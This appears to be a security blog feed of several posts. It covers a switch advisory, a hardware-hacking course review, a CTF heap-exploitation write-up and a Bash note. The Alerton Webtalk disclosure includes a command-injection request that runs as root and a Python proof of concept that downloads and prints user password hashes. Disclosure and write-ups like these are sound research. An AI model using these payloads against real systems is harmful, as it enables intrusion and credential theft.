Vulnerabilities were identified in the Belden GarrettCom 6K and 10KT (Magnum) series
network switches. These were discovered during a black box assessment and
therefore the vulnerability list should not be considered exhaustive;
observations suggest that it is likely that further vulnerabilities exist.
It is strongly recommended that GarrettCom undertake a full whitebox security
assessment of these switches.
This week, I had the opportunity to take Joe Fitzpatrick’s class
“Applied Physical Attacks and Hardware Pentesting”.
This was a preview of the
course he’s offering at Black Hat this summer, and so it was in a bit of an
unpolished state, but I actually enjoyed the fact that it was that way. I’ve
taken a class with Joe before, back when he and Stephen Ridley of Xipiter taught
“Software Exploitation via Hardware Exploitation”, and I’ve watched a number of
his talks at various conferences, so I had high expectations of the course, and
he didn’t disappoint.
Some basic knowledge of hardware & hardware pentesting is assumed. While you
don’t need to be an electrical engineer (I’m not!) being familiar with how
digital signals work (i.e., differential signals or signals referenced to a
ground) is useful, and you should have some experience with at least connecting
a UART to a device. If you don’t have any of this experience, I suggest taking
his course “Applied Physical Attacks on Embedded Systems”
before taking this class. (Which is the same recommendation Joe gives.)
During the course, a variety of topics are covered, including:
Identifying unknown chips (manufacturers sometimes grind the markings off
chips or cover them in epoxy)
Identifying unknown protocols (what is a device speaking?)
“Speaking” custom protocols in hardware
Finding JTAG connections when they’re obvious – or not
Using JTAG on devices with unknown processors (i.e., no datasheet available)
Building custom hardware implants to carry out attacks
Assessing & articulating feasibility and costs of hardware risks
While more introductory courses typically point you at a COTS SOHO router or
similar device as a target, this course uses two targets: one of them custom and
one of them uses an unknown microcontroller. These are much more representative
of product assessments or red teams as you’ll often be faced with new or
undocumented targets, and so the lab exercises here translate well into these
environments.
Joe really knows his stuff, and that much is obvious when you watch videos of
him speaking or take any of his classes. He answered questions thoroughly and
engaged the class in thoughtful discussion. There were “pen and paper”
exercises where he encouraged the class to work in small groups and then we
discussed the results, and it was interesting to see differing backgrounds
approach the problem in different ways.
One of the mixed blessings of taking his “preview” course was that some of the
labs did not go perfectly as planned. I call this a mixed blessing becase,
although it made the labs take a little longer, I actually feel I learned more
by debugging and by Joe’s responses to the parts that weren’t working correctly.
It’s imporant to know that hardware hacking doesn’t always go smoothly, and this
lesson was evident in the labs. Joe helped us work around each of the issues,
and generally tried to explain what was causing the problems at each stage.
I learned a lot about looking at systems that have no documentation available
and finding their flaws and shortcomings. Given the ever-increasing
“Internet of Things” deployments, this kind of skillset will only become ever
more useful to security practitioners, and Joe is an excellent instructor for
the material.
I played in the DEF CON quals CTF this weekend, and happened to find the
challenge beatmeonthedl particularly interesting, even if it was in the
“Baby’s First” category. (DC Quals Baby’s Firsts aren’t as easy as one might
think…)
So we download the binary and take a look. I’m using
Binary Ninja lately, it’s a great tool from the Vector35
guys, and at the right price compared to IDA for playing CTF. :) So I open up
the binary, and notice a few things right away. This is an x86-64 ELF binary
with essentially none of the standard security features enabled:
1
2
3
4
5
6
7
% checksec beatmeonthedl
[+] 'beatmeonthedl'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
Easy mode, right?
We’ll, let’s look at the binary and see if we can find a vulnerability. Looking
at the binary, we can see it’s a pretty typical CTF binary, we can create,
modify, delete, and print some notes. This has been seen many times in various
forms.
At the beginning there’s a little twist, it prompts you for a username
and password. It’s not hard to figure out what these should be, just take a
look at the functions checkuser and checkpass. In checkuser you can see
that the username should be mcfly. In checkpass, it’s interesting that the
function copies the user input to an allocated buffer on the heap before
checking the password, and all it checks is that it beings with the string
awesnap. The memory chunk is not freed before continuing, and in fact, if you
fail the login check, you will repeatedly get checks that allow you to continue
writing to segments on the heap. The copies are correctly bounds-checked, so
there’s no memory corruption here. I’m not sure what the point of copying to
the heap is, as I didn’t need it to solve the level.
Let’s take a look at the add_request function that creates the new request
entries. Looking through it, we see it allocates a chunk for the request entry
and then reads your request into the allocated chunk. It took me a moment to
notice that there’s something strange about the malloc and the respective read
of the request, but I’ve highlighted the relevant lines for your ease.
Yep, it allocates 0x38 bytes and then reads 0x80 bytes into it. Well, that
seems opportune, depending on what’s past the chunk I’m reading into. It
doesn’t appear that his has any function pointers or vtable pointers (it appears
to be pure C), so nothing like that to overwrite. Heap metadata corruption is a
thing of the past, right? Well, if you notice that malloc is in blue and
other functions (printf, read) are in orange, you might realize something.
The malloc implementation being used by this binary is compiled into the
program. A quick test does, in fact, show that this version of malloc does not
appear to use any validation checks on the heap metadata:
1
2
3
4
pwndbg> x/i $rip
=> 0x40656c <free+1096>: mov rax,QWORD PTR [rax+0x8]
pwndbg> i r rax
rax 0x41414141425e51a0 0x41414141425e51a0
So it seems like we can use the unlink technique described by Solar
Designer in
2000 to exploit heap metadata corruption via free. If you’re not familiar
with the technique, there’s a more digestable version
here.
This technique allows you to write one pointer-sized value at one address of
your choosing. (Obviously, if you want to try to write more than one, you can
sometimes repeat the technique if the circumstances allow.)
Basically, you want to allocate two consecutive blocks, overflow the first into
the second in such a way that the 2nd meets some special properties, and then
free the first chunk, causing the malloc implementation to attempt to coalesce
the two free blocks into a bigger block and unlink the old “free” block. Our
crafted block must:
Have zero size
Appear to be free (has the IN_USE bit cleared)
Appear as part of a linked list where the first pointer goes to your target address
minus one pointer width (e.g., target-8 on x86-64).
Appear as part of a linked list where the second pointer is the value you want to
write.
So if we know what we’re going to do, we should be done, right? Well, it’s not
quite that simple – we still need to know what we’re going to write, and where
we’re going to write it.
A common technique for this is to overwrite a pointer in the Global Offset Table
(GOT). If you’re not familiar with the GOT, I’ve previously written about
using the GOT and PLT for
exploitation.
Since there is no RELRO (Read-Only Relocations) on this binary, we can apply
this technique here in a straightforward fashion. We can overwrite any function
that will be called after the free occurs. For this binary, we can use any of
several functions, but both puts and printf are excellent choices since
they’re called in fairly short order (by printing the menu the next time).
So what do we write? Well, we want to point to some shellcode. But where is
our shellcode? Since there’s not many places to put things on the stack and no
globals, I guess it’ll have to be the heap. We do have ASLR to contend with, so
we need a leak of a heap address. It took me a while to realize how we could
get this, but then I hit upon it: by creating fragmentation within the heap, the
malloc implementation will have placed pointers for the circular linked list of
free blocks into the free blocks themselves. Then overflowing an adjacent block
right up to the pointer, and printing the requests, we can get the value of the
pointer. From that, we can round down to the start of the page and get the
beginning of the heap area.
Finally, we just need to place some shellcode in one of our blocks. Note that
many (all?) of the DEF CON Quals challenges ran in a seccomp sandbox that
blocked the ability to use execve, so we’ll have to use a open/read/write
shellcode.
Putting it all together (sorry, it’s a bit sloppy, didn’t have time to clean it
up yet):
Vulnerabilities were identified in the Alerton Webtalk Software supplied by
Alerton. This software is used for the management of building automation
systems. These were discovered during a black box assessment and therefore
the
vulnerability list should not be considered exhaustive. Alerton has
responded
that Webtalk is EOL and past the end of its support period. Customers
should
move to newer products available from Alerton. Thanks to Alerton for prompt
replies in communicating with us about these issues.
Versions 2.5 and 3.3 were both confirmed to be affected by these issues.
Webtalk-01 - Password Hashes Accessible to Unauthenticated Users
Severity: High
Password hashes for all of the users configured in Alerton Webtalk are
accessible via a file in the document root of the ‘webtalk’ user. The
location
of this file is configuration dependent, however the configuration file is
accessible as well (at a static location, /~webtalk/webtalk.ini). The
password
database is a sqlite3 database whose name is based on the bacnet rep and job
entries from the ini file.
A python proof of concept to reproduce this issue is in an appendix.
Recommendation: Do not store sensitive data within areas being served by the
webserver.
Webtalk-02 - Command Injection for Authenticated Webtalk Users
Severity: High
Any user granted the “configure webtalk” permission can execute commands as
the
root user on the underlying server. There appears to be some effort of
filtering command strings (such as rejecting commands containing pipes and
redirection operators) but this is inadequate. Using this vulnerability, an
attacker can add an SSH key to the root user’s authorized_keys file.
1
2
3
4
5
6
7
8
9
10
11
12
GET
/~webtalk/WtStatus.psp?c=update&updateopts=&updateuri=%22%24%28id%29%22&update=True
HTTP/1.1
Host: test-host
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101
Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: NID=...; _SID_=...; OGPC=...:
Connection: close
Upgrade-Insecure-Requests: 1
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Date: Mon, 23 Jan 2017 20:34:26 GMT
Server: Apache
cache-control: no-cache
Set-Cookie: _SID_=...; Path=/;
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 2801
...
uid=0(root) gid=500(webtalk) groups=500(webtalk)
...
Recommendation: User input should be avoided to shell commands. If this is
not
possible, shell commands should be properly escaped. Consider using one of
the
functions from the subprocess module without the shell=True parameter.
Webtalk-03 - Cross-Site Request Forgery
Severity: High
The entire Webtalk administrative interface lacks any controls against
Cross-Site Request Forgery. This allows an attacker to execute
administrative
changes without access to valid credentials. Combined with the above
vulnerability, this allows an attacker to gain root access without any
credentials.
Recommendation: Implement CSRF tokens on all state-changing actions.
Webtalk-04 - Insecure Credential Hashing
Severity: Moderate
Password hashes in the userprofile.db database are hashed by concatenating
the
password with the username (e.g., PASSUSER) and performing a plain MD5
hash. No
salts or iterative hashing is performed. This does not follow password
hashing
best practices and makes for highly practical offline attacks.
Recommendation: Use scrypt, bcrypt, or argon2 for storing password hashes.
Webtalk-05 - Login Flow Defeats Password Hashing
Severity: Moderate
Password hashing is performed on the client side, allowing for the replay of
password hashes from Webtalk-01. While this only works on the mobile login
interface (“PDA” interface, /~webtalk/pda/pda_login.psp), the resulting
session
is able to access all resources and is functionally equivalent to a login
through the Java-based login flow.
Recommendation: Perform hashing on the server side and use TLS to protect
secrets
in transit.
Timeline
2017/01/?? - Issues Discovered
2017/01/26 - Issues Reported to security () honeywell com
2017/01/30 - Initial response from Alerton confirming receipt.
2017/02/04 - Alerton reports Webtalk is EOL and issues will not be fixed.
2017/04/26 - This disclosure
Discovery
These issues were discovered by David Tomaschik of the Google ISA
Assessments
team.
importrequestsimportsysimportConfigParserimportStringIOimportsqlite3importtempfileimportosdefget_webtalk_ini(base_url):"""Get the webtalk.ini file and parse it."""url='%s/~webtalk/webtalk.ini'%base_urlr=requests.get(url)ifr.status_code!=200:raiseRuntimeError('Unable to get webtalk.ini: %s',url)buf=StringIO.StringIO(r.text)parser=ConfigParser.RawConfigParser()parser.readfp(buf)returnparserdefget_db_path(base_url,config):rep=config.get('bacnet','rep')job=config.get('bacnet','job')url='%s/~webtalk/bts/%s/%s/userprofile.db'returnurl%(base_url,rep,job)defload_db(url):"""Load and read the db."""r=requests.get(url)ifr.status_code!=200:raiseRuntimeError('Unable to get %s.'%url)tmpfd,tmpname=tempfile.mkstemp(suffix='.db')tmpf=os.fdopen(tmpfd,'w')tmpf.write(r.content)tmpf.close()con=sqlite3.connect(tmpname)cur=con.cursor()cur.execute("SELECT UserID, UserPassword FROM tblPassword")results=cur.fetchall()con.close()os.unlink(tmpname)returnresultsdefusers_for_server(base_url):if'://'notinbase_url:base_url='http://%s'%base_urlini=get_webtalk_ini(base_url)db_path=get_db_path(base_url,ini)returnload_db(db_path)if__name__=='__main__':forhostinsys.argv[1:]:try:users=users_for_server(host)exceptExceptionasex:sys.stderr.write('%s\n'%str(ex))continueforuinusers:print'%s:%s'%(u[0],u[1])
While my daily driver shell is ZSH, when I script, I
tend to target Bash. I’ve found it’s the best mix of availability & feature
set. (Ideally, scripts would be in pure posix shell, but then I’m missing a lot
of features that would make my life easier. On the other hand, ZSH is not
available everywhere, and certainly many systems do not have it installed by
default.)
I’ve started trying to use the Bash “extended test command” ([[) when I write
tests in bash, because it has fewer ways you can misuse it with bad quoting (the
shell parses the whole test command rather than parsing it as arguments to a
command) and I find the operations available easier to read. One of those
operations is pattern matching of strings, which allows for stupidly simple
substring tests and other conveniences. Take, for example:
1
2
3
4
$animals="bird cat dog"
if [[ $animals == *dog* ]] ; then
echo "We have a dog!"
fi
This is an easy way to see if an item is contained in a string.
Anyone who’s done programming or scripting is probably aware that the equality
operator (i.e., test for equality) is a commutative operator. That is to say
the following are equivalent:
1
2
3
4
5
6
7
8
$a="foo"
$b="foo"
if [[ $a == $b ]] ; then
echo "a and b are equal."
fi
if [[ $b == $a ]] ; then
echo "a and b are still equal."
fi
Seems obvious right? If a equals b, then b must equal a. So surely we can
reverse our test in the first example and get the same results.
1
2
3
4
5
6
$animals="bird cat dog"
if [[ *dog* == $animals ]] ; then
echo "We have a dog!"
else
echo "No dog found."
fi
Go ahead, give it a try, I’ll wait here.
OK, you probably didn’t even need to try it, or this would have been a
particularly boring blog post. (Which isn’t to say that this one is a
page turner to begin with.) Yes, it turns out that sample prints No dog
found., but obviously we have a dog in our animals. If equality is commutative
and the pattern matching worked in the first place, then why doesn’t this test
work?
Well, it turns out that the equality test operator in bash isn’t really
commutative – or more to the point, that the pattern expansion isn’t
commutative. Reading the Bash Reference
Manual,
we discover that there’s a catch to pattern expansion:
When the ‘==’ and ‘!=’ operators are used, the string to the right of the
operator is considered a pattern and matched according to the rules described
below in Pattern Matching, as if the extglob shell option were enabled. The
‘=’ operator is identical to ‘==’. If the nocasematch shell option (see the
description of shopt in The Shopt Builtin) is enabled, the match is performed
without regard to the case of alphabetic characters. The return value is 0 if
the string matches (‘==’) or does not match (‘!=’)the pattern, and 1
otherwise. Any part of the pattern may be quoted to force the quoted portion
to be matched as a string.
(Emphasis mine.)
It makes sense when you think about it (I can’t begin to think how you would
compare two patterns) and it is at least documented, but it wasn’t obvious to
me. Until it bit me in a script – then it became painfully obvious.
Like many of these posts, writing this is intended primarily as a future
reference to myself, but also in hopes it will be useful to someone else. It
took me half an hour of Googling to get the right keywords to discover this
documentation (I didn’t know the double bracket syntax was called the “extended
test command”, which helps a lot), so hopefully it took you less time to find
this post.